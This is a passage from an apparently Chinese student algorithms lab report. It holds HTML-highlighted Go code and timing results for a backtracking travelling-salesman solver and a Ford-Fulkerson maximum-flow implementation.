class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span>                g<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>n<span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">10</span><span class="token punctuation">)</span>                <span class="token comment" spellcheck="true">//fmt.Scanf("%d", &amp;g[i][j])</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>        x <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        bestx <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token comment" spellcheck="true">// 初始化x   bestx</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            x<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i            bestx<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span>        <span class="token punctuation">}</span>        cl <span class="token operator">=</span> <span class="token number">0</span>        bestl <span class="token operator">=</span> <span class="token number">10000</span>        startTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token function">BackTrack</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">// 第2个城市开始 默认第一个城市为出发点</span>        time<span class="token punctuation">.</span><span class="token function">Sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        sinceTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Since</span><span class="token punctuation">(</span>startTime<span class="token punctuation">)</span>        fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>n<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> <span class="token function">int</span><span class="token punctuation">(</span>sinceTime<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> bestl<span class="token punctuation">)</span>        <span class="token comment" spellcheck="true">//fmt.Println("最短路线长度:")</span>        <span class="token comment" spellcheck="true">//fmt.Println(bestl)</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//fmt.Printf("请输入一共有几个城市:")</span>    <span class="token comment" spellcheck="true">//fmt.Scanln(&amp;n)</span>    <span class="token comment" spellcheck="true">//fmt.Println("请输入城市之间的距离:")</span>    <span class="token comment" spellcheck="true">//// 初始化g 空间</span>    <span class="token comment" spellcheck="true">//g = make([][]int, n+1)</span>    <span class="token comment" spellcheck="true">//for i := 0; i &lt; n+1; i++ {</span>    <span class="token comment" spellcheck="true">//    g[i] = make([]int, n+1)</span>    <span class="token comment" spellcheck="true">//}</span>    <span class="token comment" spellcheck="true">//for i := 1; i &lt;= n; i++ {</span>    <span class="token comment" spellcheck="true">//    for j := 1; j &lt;= n; j++ {</span>    <span class="token comment" spellcheck="true">//        fmt.Scanf("%d", &amp;g[i][j])</span>    <span class="token comment" spellcheck="true">//    }</span>    <span class="token comment" spellcheck="true">//}</span>    <span class="token comment" spellcheck="true">// 初始化x[] int // 当前路线  //bestx[] int   // 最优路线 空间</span>    <span class="token comment" spellcheck="true">//x = make([]int, n+1)</span>    <span class="token comment" spellcheck="true">//bestx = make([]int, n+1)</span>    <span class="token comment" spellcheck="true">//// 初始化x   bestx</span>    <span class="token comment" spellcheck="true">//for i := 1; i &lt;= n; i++ {</span>    <span class="token comment" spellcheck="true">//    x[i] = i</span>    <span class="token comment" spellcheck="true">//    bestx[i] = 0</span>    <span class="token comment" spellcheck="true">//}</span>    <span class="token comment" spellcheck="true">//BackTrack(2) // 第2个城市开始 默认第一个城市为出发点</span>    <span class="token comment" spellcheck="true">//fmt.Println("城市路线:")</span>    <span class="token comment" spellcheck="true">//for i := 1; i &lt;= n; i++ {</span>    <span class="token comment" spellcheck="true">//    fmt.Printf("%d-", bestx[i])</span>    <span class="token comment" spellcheck="true">//}</span>    <span class="token comment" spellcheck="true">//fmt.Printf("%d", bestx[1])</span>    <span class="token comment" spellcheck="true">//fmt.Println("最短路线长度:")</span>    <span class="token comment" spellcheck="true">//fmt.Println(bestl)</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">BackTrack</span><span class="token punctuation">(</span>t <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> t <span class="token operator">></span> n <span class="token punctuation">{</span>        <span class="token keyword">if</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span>cl<span class="token operator">+</span>g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> bestl<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 最后一个城市与出发的城市之间有路径 且当前总距离比当前最优值小</span>            <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span>                bestx<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 将当前路径的解 赋值给最优路径解</span>            <span class="token punctuation">}</span>            bestl <span class="token operator">=</span> cl <span class="token operator">+</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 最优解为当进已走的长度 + 最后一个城市到 初始城市的距离 即: 回到初始城市</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 没有到达叶子节点</span>        <span class="token keyword">for</span> j <span class="token operator">:=</span> t<span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 搜索所有与当前城市临近的剩余城市</span>            <span class="token keyword">if</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> cl<span class="token operator">+</span>g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> bestl <span class="token punctuation">{</span>                <span class="token comment" spellcheck="true">// 如果第t-1个城市与第t个城市 有路径 且小于 best1</span>                x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>t<span class="token punctuation">]</span>   <span class="token comment" spellcheck="true">//交换t与j  即第t个要去的城市</span>                cl <span class="token operator">=</span> cl <span class="token operator">+</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 路线长度增加</span>                <span class="token function">BackTrack</span><span class="token punctuation">(</span>t <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span>          <span class="token comment" spellcheck="true">// 深度搜索下个节点</span>                <span class="token comment" spellcheck="true">// 下个城市与当前城市 需要恢复 cl x[t]</span>                cl <span class="token operator">=</span> cl <span class="token operator">-</span> g<span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token number">-1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">]</span>                x<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> x<span class="token punctuation">[</span>t<span class="token punctuation">]</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><h3 id="实验结果-3"><a href="#实验结果-3" class="headerlink" title="实验结果"></a>实验结果</h3></li></ol><p><img src="/images/pasted-649.png" alt="upload successful"></p><table><thead><tr><th>n的大小</th><th>运行时间</th><th>最短路径长度</th></tr></thead><tbody><tr><td>3</td><td>1000700</td><td>25</td></tr><tr><td>4</td><td>1990500</td><td>31</td></tr><tr><td>5</td><td>1997300</td><td>40</td></tr><tr><td>6</td><td>1993900</td><td>47</td></tr><tr><td>7</td><td>1995100</td><td>58</td></tr><tr><td>8</td><td>2026400</td><td>70</td></tr><tr><td>9</td><td>1988900</td><td>89</td></tr><tr><td>10</td><td>7027000</td><td>116</td></tr><tr><td>11</td><td>48878500</td><td>127</td></tr><tr><td>12</td><td>505331800</td><td>151</td></tr><tr><td>13</td><td>4890401600</td><td>181</td></tr><tr><td>14</td><td>71729691200</td><td>207</td></tr></tbody></table><p>   数据可视化</p><p><img src="/images/pasted-650.png" alt="upload successful"></p><p>可以看到运行时间随着n呈现爆发式增长，与预期O(n!),发现和实际情况相符</p><h3 id="实验环境-3"><a href="#实验环境-3" class="headerlink" title="实验环境"></a>实验环境</h3><p>golang</p><p>excel</p><h3 id="疑难小结-3"><a href="#疑难小结-3" class="headerlink" title="疑难小结"></a>疑难小结</h3><p>1.当n特别小时候运行时间特别块，计算时间需要提高精度</p><p>2.当n特别大的时候，需要很长时间才能跑出来，感觉减枝还有待优化</p><h2 id="网络流算法应用-求网络的最大流"><a href="#网络流算法应用-求网络的最大流" class="headerlink" title="网络流算法应用(求网络的最大流)"></a>网络流算法应用(求网络的最大流)</h2><h3 id="实验过程-请用简单的文字描述-3"><a href="#实验过程-请用简单的文字描述-3" class="headerlink" title="实验过程(请用简单的文字描述)"></a>实验过程(请用简单的文字描述)</h3><ol><li>基本思想</li></ol><p>​    给定指定的一个有向图,其中有两个特殊的点源S(Sources)和汇T(Sinks),每条边有指定的容量(Capacity),求满足条件的从S到T的最大流(MaxFlow)。</p><ol start="2"><li>造数据，n∈[10,400]且 n%20==0 的顶点，随机生成完全图，通过计时求解n于时间关系，边数与时间的关系</li><li>实验过程大计划 使用golang进行编写，使用excel做可视化分析</li></ol><h3 id="实验详细步骤或程序清单"><a href="#实验详细步骤或程序清单" class="headerlink" title="实验详细步骤或程序清单"></a>实验详细步骤或程序清单</h3><ol><li>造数据</li></ol><p>​    随机数产出容量，采用完全图，初始流量设为0。</p><ol start="2"><li>求解过程</li></ol><p>​    采用深度优先遍历方法求从起点s到终点t的增广路径，顶点i的标记为(p[i],a[i])，p[i]表示顶点i在增广路径上的前驱顶点，如果为反向边，p[i]表示的前驱结点前加上一个负号。</p><ol start="3"><li><p>采用深度优先遍历方法求从起点s到终点t的增广路径，顶点i的标记为(p[i],a[i])，p[i]表示顶点i在增广路径上的前驱顶点，如果为反向边，p[i]表示的前驱结点前加上一个负号。</p></li><li><p>程序清单</p><p>求增广路径</p><pre class=" language-go"><code class="language-go"><span class="token comment" spellcheck="true">// 求增广路径路径</span><span class="token keyword">func</span> <span class="token function">DFS</span><span class="token punctuation">(</span>u <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 从顶点出发求一条增广路径</span>    <span class="token keyword">if</span> visited<span class="token punctuation">[</span>t<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span>    <span class="token punctuation">}</span>    visited<span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token comment" spellcheck="true">//置已访问标志</span>    <span class="token comment" spellcheck="true">//lnng := visited</span>    <span class="token comment" spellcheck="true">//fmt.Println(lnng)</span>    <span class="token comment" spellcheck="true">//lnng2 := pre</span>    <span class="token comment" spellcheck="true">//fmt.Println(lnng2)</span>    <span class="token keyword">for</span> v <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//遍历向前</span>        <span class="token keyword">if</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">!=</span> INF <span class="token operator">&amp;&amp;</span> visited<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">></span> f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token punctuation">{</span>            a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">-</span> f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span>            pre<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> u <span class="token comment" spellcheck="true">//</span>            <span class="token function">DFS</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">for</span> v <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> c<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">!=</span> INF <span class="token operator">&amp;&amp;</span> visited<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">{</span>            a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span>            pre<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">-</span>u            <span class="token function">DFS</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p>总代码</p><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"fmt"</span>    <span class="token string">"math/rand"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">const</span> <span class="token punctuation">(</span>    INF <span class="token operator">=</span> <span class="token number">0xffffffff</span> <span class="token comment" spellcheck="true">// 无限大的值</span><span class="token punctuation">)</span><span class="token keyword">var</span> <span class="token punctuation">(</span>    n<span class="token punctuation">,</span> s<span class="token punctuation">,</span> t <span class="token builtin">int</span>    <span class="token comment" spellcheck="true">//n = 7                                         //  表示顶点个数</span>    <span class="token comment" spellcheck="true">//s = 0                                         //  表示起点</span>    <span class="token comment" spellcheck="true">//t = n - 1                                     //  表示终点</span>    <span class="token comment" spellcheck="true">//f = [7][7]int{{0, 6, 10, INF, INF, INF, INF}, // 一个网络流</span>   <span class="token comment" spellcheck="true">//{INF, 0, INF, 3, 6, INF, INF}, {INF, 3, 0, 0, INF, 7, INF},</span>   <span class="token comment" spellcheck="true">//{INF, INF, INF, 0, 1, 1, 3}, {INF, INF, INF, INF, 0, INF, 7},</span>   <span class="token comment" spellcheck="true">//{INF, INF, INF, 1, INF, 0, 6}, {INF, INF, INF, INF, INF, INF, 0}}</span>    <span class="token comment" spellcheck="true">//c = [7][7]int{{0, 8, 14, INF, INF, INF, INF}, //一个网络流容量</span>   <span class="token comment" spellcheck="true">//{INF, 0, INF, 3, 6, INF, INF}, {INF, 5, 0, 3, INF, 8, INF},</span>   <span class="token comment" spellcheck="true">//{INF, INF, INF, 0, 4, 3, 10}, {INF, INF, INF, INF, 0, INF, 7},</span>   <span class="token comment" spellcheck="true">//{INF, INF, INF, 3, INF, 0, 6}, {INF, INF, INF, INF, INF, INF, 0}}</span>    f    <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>    c    <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>    maxf <span class="token operator">=</span> <span class="token number">0</span> <span class="token comment" spellcheck="true">// 最大流</span>    pre     <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>    a       <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span> <span class="token comment" spellcheck="true">//</span>    visited <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span> <span class="token comment" spellcheck="true">// 求解过程</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span><span class="token string">"n\t边的个数\t运行时间"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> n <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> n <span class="token operator">&lt;</span> <span class="token number">400</span><span class="token punctuation">;</span> n<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> n<span class="token operator">%</span><span class="token number">20</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token punctuation">{</span>            <span class="token keyword">continue</span>        <span class="token punctuation">}</span>        t <span class="token operator">=</span> n <span class="token operator">-</span> <span class="token number">1</span>        s <span class="token operator">=</span> <span class="token number">0</span>        maxf <span class="token operator">=</span> <span class="token number">0</span>        <span class="token comment" spellcheck="true">//初始化实际流量为0 残存流量</span>        f <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token keyword">range</span> f <span class="token punctuation">{</span>            f<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">}</span>        c <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token keyword">range</span> c <span class="token punctuation">{</span>            c<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">}</span>        <span class="token comment" spellcheck="true">//    先按完全图构建</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span>                <span class="token keyword">if</span> i <span class="token operator">&lt;</span> j <span class="token punctuation">{</span>                    c<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> rand<span class="token punctuation">.</span><span class="token function">Int</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">100</span>                <span class="token punctuation">}</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 起点没有进入边</span>            c<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span>        <span class="token punctuation">}</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 终点没有出发点3</span>            c<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span>        <span class="token punctuation">}</span>        timeStart <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token function">FordFulkerson</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span>        spentTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Since</span><span class="token punctuation">(</span>timeStart<span class="token punctuation">)</span>        m <span class="token operator">:=</span> n <span class="token operator">*</span> <span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span>        fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>n<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> m<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> <span class="token function">int</span><span class="token punctuation">(</span>spentTime<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">FordFulkerson</span><span class="token punctuation">(</span>n <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">for</span> <span class="token punctuation">{</span>        visited <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        a <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        pre <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            pre<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i        <span class="token punctuation">}</span>        <span class="token comment" spellcheck="true">//pre = [7]int{-1, -1, -1, -1, -1, -1, -1}</span>        pre<span class="token punctuation">[</span>s<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span>        a<span class="token punctuation">[</span>s<span class="token punctuation">]</span> <span class="token operator">=</span> INF        <span class="token function">DFS</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span>        <span class="token keyword">if</span> visited<span class="token punctuation">[</span>t<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>            <span class="token keyword">break</span>        <span class="token punctuation">}</span>        <span class="token comment" spellcheck="true">//fmt.Println(pre)</span>        <span class="token function">argument</span><span class="token punctuation">(</span>pre<span class="token punctuation">)</span>        <span class="token comment" spellcheck="true">//fmt.Println()</span>    <span class="token punctuation">}</span>    <span class="token keyword">for</span> v <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token comment" spellcheck="true">// 从起点流出的流量和为最大</span>        <span class="token keyword">if</span> c<span class="token punctuation">[</span>s<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>s<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">!=</span> INF <span class="token punctuation">{</span>            maxf <span class="token operator">=</span> maxf <span class="token operator">+</span> f<span class="token punctuation">[</span>s<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//fmt.Println(f)</span>    <span class="token comment" spellcheck="true">//fmt.Println("网络最大流为:", maxf)</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">DFS</span><span class="token punctuation">(</span>u <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 从顶点出发求一条增广路径</span>    <span class="token keyword">if</span> visited<span class="token punctuation">[</span>t<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span>    <span class="token punctuation">}</span>    visited<span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token comment" spellcheck="true">//置已访问标志</span>    <span class="token comment" spellcheck="true">//lnng := visited</span>    <span class="token comment" spellcheck="true">//fmt.Println(lnng)</span>    <span class="token comment" spellcheck="true">//lnng2 := pre</span>    <span class="token comment" spellcheck="true">//fmt.Println(lnng2)</span>    <span class="token keyword">for</span> v <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//遍历向前</span>        <span class="token keyword">if</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">!=</span> INF <span class="token operator">&amp;&amp;</span> visited<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token 